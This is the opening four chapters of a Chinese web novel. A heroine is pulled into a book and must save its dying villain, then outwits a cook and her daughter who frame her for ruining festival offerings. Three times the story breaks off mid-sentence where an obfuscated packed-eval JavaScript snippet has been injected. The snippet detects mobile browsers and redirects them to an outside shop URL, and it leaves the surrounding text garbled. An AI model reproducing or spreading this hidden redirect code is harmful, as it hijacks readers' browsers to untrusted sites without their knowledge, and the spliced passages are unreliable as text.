《阻止阴湿反派死亡后》 1. 第一章·穿书 夜凉如水,月明星稀。 路元玉小心翼翼从驿站柴房爬窗跳出来,踏着月色往外走。 在她的视野上方,明晃晃挂着一个血红色死亡倒计时:【00:54:24】。 好消息:不是她死。 坏消息:她会被连累死。 几声寥落的蛙鸣从外面传来,路元玉一边观察周围环境,一边琢磨她从醒来到现在的诡异经历。 她原本是一个文物修复师,结束了一天的高强度工作之后,喜欢在睡觉之前听点故事助眠。 今日她终于将这本书听到了大结局,准备安然入睡,却突然感觉身体骤然下坠。 猛然挣扎中瞬间睁眼,映入眼帘的竟然不是自己干净整洁又舒适的卧室,而是一个简陋漏风,气味难闻的仓库。 她怔愣片刻后,深呼吸平复心情,视线在房间中来回观察。 在她的床对面,是占了一面墙壁的、堆放整齐的木柴。 床尾挨着墙角处是一堆混合着奇异气味的器具:生锈的马蹄铁、断裂的套杆、漏水的木桶等,已经落了薄薄一层灰尘。 往前是一张破旧桌子,上面放着一个缺口的陶罐锅,一个粗陶碗,一双筷子和一个小水囊。 床上铺的是干草和洗净的旧麻袋做床垫,身上盖的是一张薄薄的旗帜。 床头放了一个针线筐,里面还有正在缝补的旧衣物。 像是个古代的仓库柴房,这里的主人将房间打理的井井有条。 但她怎么会突然出现在这里? 念头闪过,脑海中立时出现一道机械电子女音。 【宿主你好,欢迎来到《覆手卿欢》。接下来为您介绍身份详情。】 路元玉微讶挑眉,下一秒她脑海中就凭空多出一段记忆。 《覆手卿欢》是一本古代架空言情小说,讲的是女主辛舒作为当朝丞相嫡女,和当朝太子宋承安一边谈情说爱,一边打脸虐渣,最后成为皇后的故事。 巧的是,这半个月以来,她都是听着这本书入眠的,对这本书的剧情还算熟悉。 不巧的是,系统给她的身份信息和这本小说怎么也联系不起来。 既不是女主,也不是女配。 甚至都不是炮灰。 书中压根就没有她这一号人物。 路元玉,二十岁。 七年前父亲被牵扯进“文字案”,因此全家族成年男女皆被砍杀,未成年皆被流放。 她被贬为官奴婢,流放至江南一带戍驿司管辖的伏波驿内,成为最低等的马奴,负责清扫马厩,喂料等粗活。 路元玉慢慢梳理着脑中的信息。 系统却突然发出提醒。 【自动触发主线任务:阻止目标人物季修宁死亡。】 【距离季修宁死亡时间剩余:00:59:59。】 【定位到目标人物目前身处苕溪村吴公祠内,请宿主尽快前往救治。】 一连串提示音在路元玉脑中炸开,她却依旧神色淡淡。 只是被“季修宁”这个名字微微挑起几分情绪。 季修宁是原书中最大反派。 他明面身份是朔朝境内有头有脸的温润古董商,私下却是心狠手辣的前朝皇子。 他母妃身份低微,又早死,他在前朝皇宫更是不受宠爱,早早出宫自己谋生。 阴差阳错,前朝城灭时,他免遭一死。 可他当时心理已经扭曲,一心想要将皇位夺走,羞辱前朝余孽。 他发现太子宋承安心悦当朝宰相之女辛舒,便使计在辛舒身边安插眼线,故意挑起两人误会。 帮男女主赚足了读者的眼泪。 待两人误会解除,他便被作者安排下线。 书中他的结尾是仓皇逃走,下落不明。 如今…… 【如今已是故事结尾。季修宁逃脱之后沦为乞丐,一路跑到江南,前几日又被下毒,马上就要死了。】 闻此说辞,本来多少应该有点唏嘘,但路元玉清冷的脸上只有淡淡的不满。 “我凭什么救他?” “你突然把我拉进这里,连个解释都没有,就要让我打黑工吗?” 系统沉默片刻。 【对不起,现在情况紧急,不是解释的最佳时机。但后面我会和你解释。】 【他现在情况危急,你应该去救他。】 路元玉一身反骨,“如果我偏不去呢?” 【他死后,你也会死。】 - 路元玉抬手轻抚心脏,因为紧张的缘故,心率正在缓慢上升。 她从未被人这么威胁过。 从三年级接触到文物修复这个行业时起,她满身心都投入到了这个行业,同学之间的吵闹她从不放在心上。 后来事业上小有成就,又是行业中最受尊敬的前辈的关门弟子,更是没人敢威胁她。 更遑论以性命作威胁。 她心有不满,但确实不敢拿自身生命开玩笑,只好依言照做。 为了顺利完成任务,系统给了她一张地图。 按照地图显示,她现在还在驿站内部,前面的垂花门是驿站后院通往前院的内门,现在已经从外面被锁上。 路元玉靠近门缝侧耳倾听,隐约听到几声高昂的笑骂声。 有人在喝酒。 路元玉想起来前半夜驿站里忽然来了一队人马,看着像江湖中人,却有宫廷文书。 路元玉将眼睛凑近门缝看,只看到右侧中间的厢房还亮着灯。 她退后几步,查看院墙的高度,悲催地发现她爬不上去。 怎么办? 路元玉视线扫过马厩,要不牵一匹马过来? 然而又很快摇了摇头。 就算她能爬上去,跳下去也很危险。 她不死心,又靠近破旧的木门看了看。 说是木门,其实只是用两片木板拼凑而成,门上用链条随意缠绕两下,上了把锁。 路元玉只看了一眼,便欣喜的发现链条早已损坏,现在只是用一种打结的方式穿过簧片锁。 木门中间刚好留有一个手臂的缝隙,路元玉又看了眼外面环境,才小心翼翼伸出一只手。 链条看起来很好拆卸,但路元玉要防止它发出声音,花费了几乎五分钟才解开。 然而最后,链条突然像是活过来一样,滑溜溜从她手上掉落,发出一声响动。 “谁?!” 亮着灯的那处厢房传出一道狠厉的喝声。 下一秒,房门从里面被粗暴踹开,走出一个穿着黑色衣服的壮汉。 他谨慎地扫视前院一圈,目光落在垂花门的木门上。 他下巴一抬,向身后的人示意。 “那个门是怎么回事?” 壮汉身后出来一个身形矮小的男人,顺着他的目光向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001529|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木门看去。 疑惑地挠了挠头,不慎在意。 “那个拴门的锁链坏了,可能是方才风大,吹掉了。” “来陆兄,我们继续喝酒!” 壮汉却固执地走到木门前,来回查看了一番。 矮小男人一脸不情愿地跟在他身后。 壮汉穿过垂花门,向内院走了几步,“后院里有什么人?” 矮小男人:“除了马匹就是被贬的奴隶,不用管他们。” “走走走,我们继续喝!” 壮汉被拉了回去。 直到关上门好几分钟后,路元玉才试探着从马厩里钻了出来。 身上刚换洗的衣服又染上一股马粪味。 路元玉不适应地皱眉,随便拍了两下。 幸好他们没再将门锁上。 她已经在这里浪费了将近十分钟,走过去还要二十分钟,要加快速度了。 路元玉提心吊胆,轻手轻脚地从前院穿过,来到驿站大门。 驿站大门用的是传统的木栓,路元玉轻轻一抬就推开了门,走了出去。 驿站外面是一条宽阔整洁的官道。 她要顺着官道去东北方向苕溪村的吴公祠,步行过去大约二十分钟。 走出驿站后,蛙鸣声更是嘹亮,还夹杂着几声其他昆虫的鸣叫。 路元玉担心被人发现,往前跑了几步才缓步停下,观察周边环境。 官道两侧是荒废的土丘,站在土丘上往远处看,是一片片农田。 路元玉从小在城市长大,只有在寒暑假时,偶尔才去农村玩几天。但那种专为旅游开发出的村庄,没有了这种原生态的呼吸感,还不如去逛公园。 路元玉去了几次后就没再去过了。 但这里的农村,清新的空气夹杂着雨后土地的芬芳,身上每一个毛孔都舒展开来。 路元玉紧张的心情平静下来许多。 这里的环境还挺好的。 距离倒计时结束还有四十多分钟。 路元玉一边赶路一边欣赏周边风景,很快就到了苕溪村。 然而刚走近,就被拦了下来。 “站住,你是何人?” 路元玉一惊,这才看到村口树下的阴影里站了一个人。 那人干瘦如柴,佝偻着背,手中拿着一个梆子,缓缓走近,在距离路元玉五米左右停了下来。 路元玉才看到,他前面还围着一圈高度到他腰部的栅栏。 想到古代村庄会有“守夜人”的存在,路元玉便放松下来。 听话地站在原地,打招呼。 “老丈,你好。我是伏波驿的。” 守夜人见路元玉没有硬闯,态度便和蔼许多,但仍站在原地。 “寅时不过生人,不管你是谁,赶紧回去吧。” 路元玉不自觉上前两步。 “可是我有要事在身,老丈你通融通融,让我进去吧,我保证不惹事生非,让其他人发现。” 老丈却直接敲响了手中的梆子,吓了她一跳。 “苕溪村寅时不过生人,还请回去吧。” 见老丈如此顽固,路元玉双眉紧蹙。 后退两步,查看四周有没有什么能进村的小路。 老丈却看穿了路元玉的想法,语气阴森道: “别白费心思了,想要进村只有这一条路。我劝你赶紧回去,别被恶鬼缠上。” 2. 第二章·救人 路元玉看了眼眼前的倒计时。 【00:29:46】 路元玉目光微凝。 她不想使强硬手段,但现在看来,不用不可了。 她微微直起身,摆出她前世工作时的架子,语气平静无波。 “老丈,规矩我懂。若非戍驿司有紧急公务,我也不会此时叨扰。” “你们的公务,关我这个老头什么事?” 老丈哼了一声,满不在乎。 路元玉板起脸。 “司吏吴大人明日要问话。耽搁了,您和我都担待不起。” 她从怀中掏出一张纸,在老丈面前展开晃了一下。 老丈不认字,但看路元玉这么严肃,心下此时也有些犹豫。 他在村里当了三十年守夜人,当然也遇见过半夜硬闯村子的,官府办事确实需要凭证。 老丈示意路元玉走进了些,细细打量她的穿着配饰。 她穿的是最常见的粗布麻衣,确实是官府的样式,但左肘和下摆处都打了一块大大的补丁。 腰间一条褪色的布质腰绦,看上去有些不伦不类。 路元玉扯了扯衣角,不耐烦抱臂。 “看够了吗?耽误吴司吏办公,可是要挨板子的!” 凉风簌簌,昆虫乱鸣。 老丈又阴森地盯着路元玉看了好一会儿,才不情愿侧开了身子。 语气沉沉地嘱咐:“速去速回。” “算你识相。赶紧将栅栏给我挪开。” 离开后,她才发现身上已经布满一层冷汗。 老丈怀疑的目光像是深夜中潜藏的恶鬼,仿佛她稍有不慎,就会被其撕咬得连渣都不剩。 她知道他是在观察自己的穿着,试探身份,幸好原主会过日子,平日里会留意别人不要的衣服,自己拿回来修补一番再穿上。 而在驿站内,穿的最多的就是官服。 她刚才拿出来的那张纸,也是从驿丞的垃圾筐里捡来写字认字用的,没想到此时派上了用场。 苕溪村是一个水乡,北邻清水港。 村内有多条小溪流,整个村子被清水港的支流一分为二,形成一个“丁”字形。 路元玉从村子西边进来,沿着地图在一户户人家门前摸黑经过,大约又过了五分钟,才看到地图上标着的“吴公祠”。 吴公祠是苕溪村村民在前朝时为吴姓县令设立的祠堂,为的是感恩他治水有方。 经过几十年演变,村民们早已在村中另立新庙,这里逐渐荒废起来。 吴公祠坐南朝北,路元玉从南而来,转了个弯,一座三开间的主殿,带坍了半边的廊庑便出现在她眼前。 白墙早已斑驳,露出内里竹骨。屋顶的黛瓦残缺,生满瓦松, 殿前有棵老银杏树,树枝上系着几条褪色的红布。 在推开吴公祠的门时,路元玉目光先是落在正前方的神像上。 彩绘剥落大半,勉强辨得是位文官形象,手中所持的笏板已失。 供桌上面放着几个破旧的盘子和碗,均已积尘。 路元玉往旁边的侧殿走了两步,忽然被瘫坐在墙角的男人吓了一跳。 “这就是季修宁吗?” 系统:【是的。】 墙角潮湿,蛛网缠绕,墙皮肿瘤般鼓起。 一滩黑红色血渍从他身下蜿蜒至元玉脚下。 空气中满是浓郁的铁锈味,路元玉走近,眉心眉心蹙起。 他呼吸非常微弱,像一盏熬尽灯油的蜡烛,似乎轻轻被风一吹就会彻底熄灭。 身上打斗的痕迹惨不忍睹,发丝凌乱地遮住眉眼,只露出一半薄而干裂的嘴唇和惨白锋利的下巴。 系统见倒计时就要结束,路元玉却还不动,不由得开始催促。 路元玉压下心底异样,拿出系统早就准备好的救命丸,掰开他的嘴塞了进去。 他体温极低,有些冰手,他全身的血液似乎都消耗殆尽,没有一丝生命的气息。 据系统所说,不管季修宁中了什么毒,或者有多重的伤,只要在倒计时结束前给他吃这颗救命丸,他就一定能活。 然而在给他吃下救命丸后,路元玉视野中血红色的倒计时还在继续。 路元玉纳闷。 于是在季修宁胸背上用力拍了两下。 系统见状,忍不住幽幽解释:【他伤势太重,需要你为他包扎伤口。】 话落,一个简易医疗包突然出现在季修宁身旁。 路元玉有些无语,但还是依言,用工具为他清理了伤口,简单包扎。 最后一个蝴蝶结打好,视野中刺目的倒计时终于消失。 路元玉不自觉松了口气,赶紧离开他几步远。 或许是他伤的太重,看起来太惨,在他身边时,总觉得十分压抑。 为了缓解情绪,元玉随口问道:“他什么时候醒?” 系统一板一眼道:【他这次受伤太重,会陷入深度沉睡两天。】 路元玉点点头,看了看外面的月色,打了个哈欠。 本来就忙了一天,晚上睡觉时又穿越了,穿越后又忙到现在。 就算是铁打的身体现在也有些熬不住了。 任务完成。 路元玉后退两步。 “好了,现在把我送回去吧。” 明天还要开会呢。 系统却冷冰冰道:【不行,你要在这里生活,直到季修宁寿终正寝。】 “……什么?” 外面的蛙鸣声不知什么时候都消失了,只剩下一阵阵风卷起祠中的帷幔。 路元玉脸色沉得似乎要滴出水来。 系统竟然觉得有些冷,连忙解释。 【不过宿主请放心,进来书中的一瞬间,现实世界流速静止,直到你完成任务回去。】 闻言,路元玉面色稍缓,但薄怒未消。 一言不发往外走。 直到走出祠堂好几步,系统仿佛才反应过来,在路元玉脑中提醒。 【宿主,你不把他带回去吗?】 路元玉反问:“带回去?带回哪里?” 系统:【你的住处啊。】 路元玉:“我为什么把他带回去?” 系统:【你要保护他呀。】 路元玉:“可是你不是说,不让他死就行了?” 系统沉默了,似乎是在回想它发布给路元玉的任务到底是什么。 确实是阻止他死亡就行了。 【可是,他若是再有危险,你不能及时赶到怎么办?】 路元玉弯了弯眼睛,脸上却没有一丝笑意,“你会提前告诉我的对吧?” 系统:…… 系统担心季修宁,但她可不关心。 既然任务就是阻止季修宁死,那只要在他快死的时候救一下不就好了? 她以前是修复文物的,最忌讳做一些画蛇添足的工作。 而且季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001530|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修宁阴险狡诈,绵里藏针,把他带回去就是相当于在自己身边放了一颗定时炸弹。 路元玉当然不可能这样做。 系统不再劝,路元玉赶在天亮之前回到了她的柴房。 柴房从外面被锁住,她只能从木门左边的小窗户爬上去。 窗户后面就是床,她在窗台上脱了鞋,拎在手里翻了进去。 她抓紧时间躺下休息。 蛙声不知何时歇了,与整片村庄一起进入了梦乡。 几个时辰后,路元玉感觉自己刚睡着没过多久,就听到有人喊她的名字。 由远及近,还夹杂着几句谩骂。 她疲惫地揉着眼从床上坐起来,因为没有睡够,略显几分烦躁。 “路元玉!你给我出来!” “早就知道你不安好心,竟然连春社的祭品也敢动!” “看我今天不好好教训你!” 路元玉打开窗,一层薄薄的雾气扑面而来。 外面天色将亮未亮,但已经能视物。 为首的驿卒后面跟着一个四十岁左右的妇女,身穿暗红色麻衣,一边走一边捋着袖子,气势汹汹。 路元玉虽不知道发生了什么,但也知道他们二人是冲着自己来的。 她在以前的世界中话不多,那是因为有些事情并不需要她说话。 而现在她只身一人,想得知什么消息都需要亲历亲为。 于是眼眸微凝,撑着窗子大声回应。 “张大娘,怎么了,发生什么事了?” 外面正是驿卒常三和驿厨张婆子二人。 二人刚走到马厩,闻到扑面而来的马粪味道后嫌弃地用手扇来扇去。 张婆子本来就不喜欢原主,平日里不顺心时也是非打即骂,如今听到路元玉竟然还敢主动开口,更是气不打一处来。 急得想立刻抓住她狠揍一顿,脚下似乎都因此生出重影。 “你还敢问?今天我就好好教训你,让你知道什么叫厉害!” 说话间外面两人已经走到柴房前,趁常三开锁的功夫,张婆子走到窗户前,试图将路元玉从窗户里拽出来。 路元玉早在她过来的一瞬间就将窗户合上,从里面反锁,然后利落地跳下床。 木门很快被打开,常三站在门口,一脸困倦地打了个哈欠。 人机似的说道:“你们聊,我走了。” 常三就是昨晚与陆姓壮汉喝酒的那个驿卒,他一扫昨晚高昂的兴致,过度熬夜后只让他感觉疲累不已。 还没等路元玉挽留,张婆子就从旁边凑上去,连忙扯住他胳膊。 “欸,别走啊,我还要你替我作证呢!” 常三无精打采的脸上露出几分烦躁,眉毛紧紧皱起。 昨天夜里他通宵喝酒畅聊,直到天亮才睡下,睡下没多久又被叫起来说要抓贼,还必须让他跟着一起来。 他实在拗不过,才半梦半醒跟着过来了。 没想到她还变本加厉了。 常三用力一甩,看上去更强壮的张婆子竟被甩开了。 “我跟着你过来开门都算给你面子了,你再瞎吵吵信不信我打你?” 说完唾了一声转身离开。 张婆子因为掌管驿站的伙食,所以大家平日里对她态度都还不错,此时被常三一激,登时不悦起来。 但她也知道此行的重点是什么,于是只是在常三走后,也唾了他一下,然后目光转至路元玉身上。 3. 第三章·栽赃陷害 “你个小贱蹄子,看什么看,信不信我把你眼睛挖下来!” 张婆子本来是过来教训路元玉的,反而在她面前丢了人,登时看她越发不顺眼。 因为路元玉那双黑白分明的眼睛,张婆子一直都不喜欢路元玉,尤其是路元玉不说话盯着人看的时候,仿佛她能将人心底所想的任何事情都看穿。 原本她本着多一事不如少一事的原则,不想多理睬这个奴婢,但如今自己不小心惹了祸,为了避免被追究责任,就只好将这口锅甩给这个小贱人了。 张婆子凶神恶煞看着路元玉,扬起手就冲着路元玉面门直直扇过来。 路元玉习惯性伸手一挡—— 她前世有健身习惯,力气很大。 却忘了这具身体营养不良,昨夜更是一番折腾,又没吃饭,一下子被张婆子扇到后面的破木桶上。 脊背瞬间传来钻心的疼。 张婆子嘴角一扯,不屑地“哼”了一声。 “还想躲?还不看看你几斤几两!” “连春社的祭品都敢偷吃,我看你是吃了熊心豹子胆了!看我今天不打死你!” 言罢,便捋了袖子又要冲上来,看架势似乎是想把她打死在这里! 路元玉挨了第一顿打已经有点支撑不住了,若是再让张婆子打她几下,说不定今天真就交代在这里了。 于是连忙喊道:“你不能打我!我再怎么身份低微,那也是官府的人!若是让驿丞大人知道了你打死我,你觉得他会怎么罚你?!” 张婆子扬起的手顿了顿,眼睛斜斜一瞥,似是在嘲笑她的不自量力。 “驿丞大人若是知道我替他处理了你这么个老鼠,奖赏我还来不及,怎么会罚我!” 路元玉根本没听她在说什么,而是突然想到刚才她嘴中说着什么……春社祭品? 忽然灵光一闪。 “好啊!你打死我!你打死我便是死无对证!你觉得驿丞大人会相信你的一面之词吗?不会的!到时候,你一样会被治罪!” 路元玉语速很快,张婆子反应了一会儿,才理解其中之意,面上闪过一丝犹豫,扬起的手堪堪停在路元玉面前。 路元玉冷冷看着张婆子近在眼前的粗粝手掌,有些紧张。 她虽然看着什么都不怕,但其实挺怕疼的。 此时后背撞在木桶上的那处皮肤还在隐隐作痛。 见张婆子不知在想什么,路元玉沉声开口:“你现在带我去见驿丞大人,这样大人才不会怀疑你——” “啪——” 张婆子常年干粗活,身体强壮,力气很大,她见路元玉居然不仅不害怕,还敢吓唬她,顿时一巴掌呼了上去。 路元玉瞬间被打得头朝另一边歪去,脸上顿时传来火辣辣的疼。 张婆子阴狠低沉地在她耳边警告,她却像是被蒙了一层罩子,朦朦胧胧听不甚清。 “别以为你这么说我就不敢动你。” “若是到了驿丞面前敢瞎说,看我不拔了你的舌头!” 不等路元玉反应,便薅起她的领子,一边打一边骂,拽着她往外走。 路元玉死死咬住嘴唇,不让自己发出声音。 她低着头,顺从的跟着张婆子走,凌乱发丝掩盖下,黑洞洞的眸子里却全是不甘与愤怒。 驿丞办公的房间在前院左侧第一个厢房。 驿丞陈潢已经在坐着等候,见张婆子带着路元玉进来,猛地一拍桌案,冷喝道:“大胆刁奴,你可知罪!” 路元玉被张婆子用力一推,直接跪了过去,半个身子都趴在地上,狼狈之极。 她咳嗽两声,慢慢坐起来。 身上每一处皮肤好像都在叫嚣着疼痛,眼角也被逼出生理眼泪,但她的声音却依旧清脆冷静。 “禀大人,奴不知。” “大胆!” 陈潢看起来约摸五六十岁的样子,身材瘦弱,两撮黑色胡子因为生气的缘故在鼻下上下颤抖。 但他很快平静下来,指着张婆子道:“你,把事情从头到尾给她说一遍。” 张婆子拂了路元玉一袖子,上前两步,提醒道:“大人,这贱奴就是在装无辜,她其实什么都知道,您可千万不要被她骗了!” 陈潢不说话,鼻子拉长声音,长长“嗯”了一声,瞪着张婆子。 意思是“你敢和我顶嘴?” 张婆子色变,连忙摆手,“不敢不敢,我这就说。” 这时从另一边传来一道清脆的声音。 “大人,家母年纪大了,我来替她说吧。” 路元玉侧目看去。 一个十三四岁的女生,身着一件浅水红色交领窄袖短襦,领缘与袖缘镶了一道约一指宽的白色棉布边。 头顶两侧各梳一个鬟,用一对褪色的红色毛线头绳扎紧,尾端坠着两枚磨得发亮的小铜钱。 她是张婆子的独女,今年十四岁,名唤采儿。 采儿眉眼清秀,嗓音清脆:“再过四日便是春社日了,我娘像往年一样提前准备了社肉、社酒和社蔬。再加上大人您特意从州城订购的‘金丝芥苗’,本来一切都准备妥当,可谁知……” 她拿着手帕抹了抹眼泪,瞪了路元玉一眼。 “可谁知今日晨起,我与母亲去厨房准备早饭时,发现那些肉和菜,竟然都被、都被——” 她似乎再也说不下去,掩面哭了起来。 张婆子也席地而坐,拍着腿嚎了起来。 “我命苦啊!辛辛苦苦准备了那么久,到头来竟然全都被一个贱奴给糟蹋了!” “我不活了!” …… 路元玉听得头大,但总算弄清楚了来龙去脉。 简单来说就是厨房东西被偷了,然后怀疑到了她头上。 “行了行了!”陈潢眉头紧皱,用力拍了拍桌子迫使她们安静下来。 眼神在她们几人身上扫过,恶狠狠指着张婆子道:“你监管不力,等会儿再跟你算账!” 又看向路元玉:“说说吧,你到底偷了没有?” 张婆子哭嚎的动作硬生生停住,她直愣愣坐在地上,表情青一阵白一阵。 路元玉不顾背上的疼痛,挺直脊背。 “回禀大人,奴婢没有。” “没有?”陈潢冷哼,“来人,把东西呈上来!” 路元玉回头,只见两个小厮装扮的人呈上来两个托盘。 托盘被放到路元玉跟前,她才看清左边的托盘上放着几根灰蓝色的粗麻纤维和一包草药。 路元玉拿起草药包拆开闻了闻。 然后看向右边的托盘,放了一个装了四分之一碗水的破陶碗和两根被咬了几口的胡萝卜。 陈潢:“这些都是你的东西,你可承认?” 路元玉双眉紧蹙。 “回禀大人,这粗麻布丝是咱们驿站内人人都穿的衣料,怎就断定这是我的?这陶碗也是同理。” 采儿却不依不饶:“大人,休要听她狡辩。这粗麻布丝是我在厨房发现后,一一对比过的,和她院子中的衣服新旧程度一模一样。” “而且这个破陶碗更是在她居住的柴房前的木柴堆里发现的,这碗里的水不是普通的水,而是用鼠李皮浸泡过的水!” “这包鼠李皮则是前段时间,我亲眼见她偷偷和外面的人买的!” “如果不是想毁掉您的‘金丝芥苗’,她买这个做什么?” “金丝芥苗”碧绿娇嫩,价值不菲,是陈潢特意买来作为社蔬中的头彩,用以制作祭祀后的春盘的。 现在他的一番苦心却被毁掉了,自然生气不已。 听采儿又是一番劝说,陈潢耐心也逐渐告罄,烦躁地摆了摆手。 “行了。罪奴路元玉,嫉妒成性,品德败坏——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001531|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “等等!”路元玉直起身,“请容奴婢辩解两句。奴婢一条贱命,死了无可厚非。但若是我死后,反而让真正的凶手逍遥法外,日后再继续破坏驿站秩序该如何?” 陈潢琢磨一番,心想也是,便微微抬首:“你说。” 路元玉微不可察松了口气,看向身侧的采儿。 “采儿妹妹,你既指认我偷买鼠李皮,可知它鲜时何色?干后何味?” 采儿一愣,强作镇定:“鲜时……鲜时绿,干后自然是枯草味!” 路元玉摇摇头:“大人,真正的鼠李皮,干后掰断,内瓤有极淡的辛辣气,绝非枯草味。而这包草药,只有霉尘气,绝非她口中的鼠李皮。” 她前世跟随师傅学习时,曾学过鼠李皮这名草药,它含有天然黄色素,可用于修复古代服饰、书画装裱的绫绢。 但师傅又说此物不稳定,能不用就不用。 路元玉好奇,曾私下研究过一番,没想到用到这里了。 采儿眼神微颤,有些不知所措看向张婆子。 路元玉却没有给她们开口的机会,她指向萝卜上的齿印:“奴婢为奴,常年食糙粟硬饼,牙齿有缺,且不细密。” 她当众微微张口,露出确实不那么整齐的门齿。 “请比对这齿印,如此细密均匀,必是齿列整齐、且日常饮□□细之人所留。” 路元玉早在看到那根胡萝卜后就暗暗用舌头包裹住门牙,试探了一番,发现自己牙齿略有不齐,虽然心酸,但毕竟也算证据的一种。 最后,她看向那个破陶碗:“‘金丝芥苗’娇贵,毁之极易,只需泼上盐水即可。但我请问:既要毁之,为何用味道明显、颜色特异的鼠李皮煎水?灶房盐罐就在明处,为何舍近求远?” “而且若真是奴婢所为,那我在处理这个陶碗时,不应该将碗中液体清理干净吗?” 陈潢越听越觉得有理,原本懒散不耐烦的神态,在听完路元玉一席话后,眼中已经闪起愤怒的光芒。 “是谁敢在本官眼皮子地下做这种腌臜之事?!” “大人息怒。”路元玉拱手,目光落在张婆子身上,淡漠无波,声音平缓。 “张婆子主管厨房膳食之事,此事想必她再清楚不过了,大人可细问之。” “你这贱奴!胡说八道什么?!”张婆子恶狠狠看向路元玉,扬手又要打下去。 “住手!” 平日里陈潢鲜少过问驿站中事务,一律都是司吏吴敬经手,所以张婆子等人都以为陈潢是个很好说话的主,在他面前并不畏惧。 但陈潢只是懒得管。 他五年前被贬到这里做驿丞,已经决心平平淡淡熬到致仕,恰逢这里的司吏吴敬是周围村落的地头蛇,他便顺势将所有事情推给他,均不过问。 今年他是突发兴致,想弄一个什么“头彩”,没想到又发生这种事。让他气愤至极。 见陈潢发怒,张婆子张牙舞爪的态度瞬间软了下来,但仍不肯承认是自己的问题。 “大人明鉴,草民真的什么都发不知道啊!昨天夜里我锁好门窗后,早早就走了!”她一把鼻涕一把泪,忽然像是想到了什么,又提起精神来,“常三可以为我作证啊!” 陈潢眉毛拧成两条毛毛虫,警告般盯着张婆子片刻,才沉声道:“叫常三过来。” 常三很快被带上来。 “我记得……”常三挠了挠头,“张婆子确实走得挺早的,但其他的我就不知道了。” 张婆子期期艾艾看向陈潢,房间里陷入一片沉默。 片刻后,常三好像是突然想起来什么,猛拍了一下脑袋。 “欸,我想起来……丑时末,我和人喝酒的时候,通往后院的那扇门,上面的铁链给掉了。” “我当时还以为是风吹掉的,不过若是和这件事有关的话……那应该是有人特意而为的了。” 4. 第四章·断案 路元玉刚放回肚子里的心又被提了上来。 不等她说什么,众人眼光齐刷刷朝路元玉看过来。 究其原因,是因为后院中只住了她一个人。 张婆子斜着眼得意地笑:“你这贱奴!还说不是你!” 采儿双眼通红,趾高气昂地瞪着她:“看你这次怎么解释!” 陈潢头疼扶额:“到底怎么回事?” 路元玉眸光微颤,却声音坚定道:“我不知,昨日我早早就睡下了。” “况且我所居住的柴房外面就有一道锁,我根本走不出去半步。” 张婆子冷笑道:“不是还有个窗户吗?” 路元玉:“我并不会翻窗,就算可以翻出去,垂花门外面还有第二道锁。” 张婆子:“谁不知道那锁链早就坏了,只要轻轻一动就能打开。” 路元玉眉目沉静:“我并不知锁链坏掉之事。张婆子你又不管开门这件事,你是怎么知道的?” “莫非……是早早离开后,又特意返回,故意将锁链破坏,好栽赃给我?” “我呸!你再满口胡言,信不信我把你舌头拔了!” 张婆子和路元玉又陷入争吵。 其实是张婆子单方面输出,路元玉懒得与她多费口舌,便不再听她满口喷粪,转而开始观察起其他几人。 采儿则双眉紧蹙,陷入为难境地。 这路元玉今日不知是怎么了,突然变得尖牙利嘴,巧舌如簧,再这么下去恐怕真的就让她脱身了。 想了想,采儿咬咬牙,上前几步。 她在陈潢的允许下,凑到他耳边轻语了几句。 却不料陈潢竟突然发火。 “放肆!官家驿站,岂容你妄论鬼神!来人,给我拖出去!” 路元玉被这突然的变故吓了一跳,连忙去看。 只见陈潢阴沉着脸,眉宇间全是隐忍。 他正在审查“金丝芥苗”被毁这件事,那张婆子女儿扯什么“那奴婢被鬼上身”,明摆着是想借自己除掉她。 她是还觉得自己不够闹心吗! 他虽然年事已高,不愿管事但不代表不会管事。 如今,小小一个厨娘的女儿,竟都敢把注意打到他身上了。 这张婆子母女二人平日里行事多乖张,但从未酿成过错,他睁一只眼闭一只眼便罢,如今竟然还能将这么重要的“金丝芥苗”给看毁了! 简直是气煞他也。 路元玉听到陈潢的气话,便大概推测出来采儿在他耳边说了些什么,只是没想到,这陈驿丞竟然没有上她的套。 采儿被陈潢瞬间释放出来的官威吓了一跳,连忙跪地哭天喊地地求饶,但陈潢直接让小厮将人拉下去,根本不给她说话的机会。 张婆子见状也是拼命磕头,求陈潢放过自己的女儿。 陈潢只是面色阴沉坐在太师椅上,一言不发。 自从他来到这伏波驿,本是不想再生事端,但如今张婆子母女闹到他头上来,多少是该管管,起杀鸡儆猴之效。 想清楚后,他伸手抚摸胡子,一边开口:“采儿是你张婆子的女儿,我本不想管。但——” 他精明的眼神扫过张婆子,语气平淡却暗含威压:“你是驿厨,如今不仅看管‘金丝芥苗’不利,教养女儿也无方,本驿丞便罚你三个月俸禄,希望你能知错就改。” 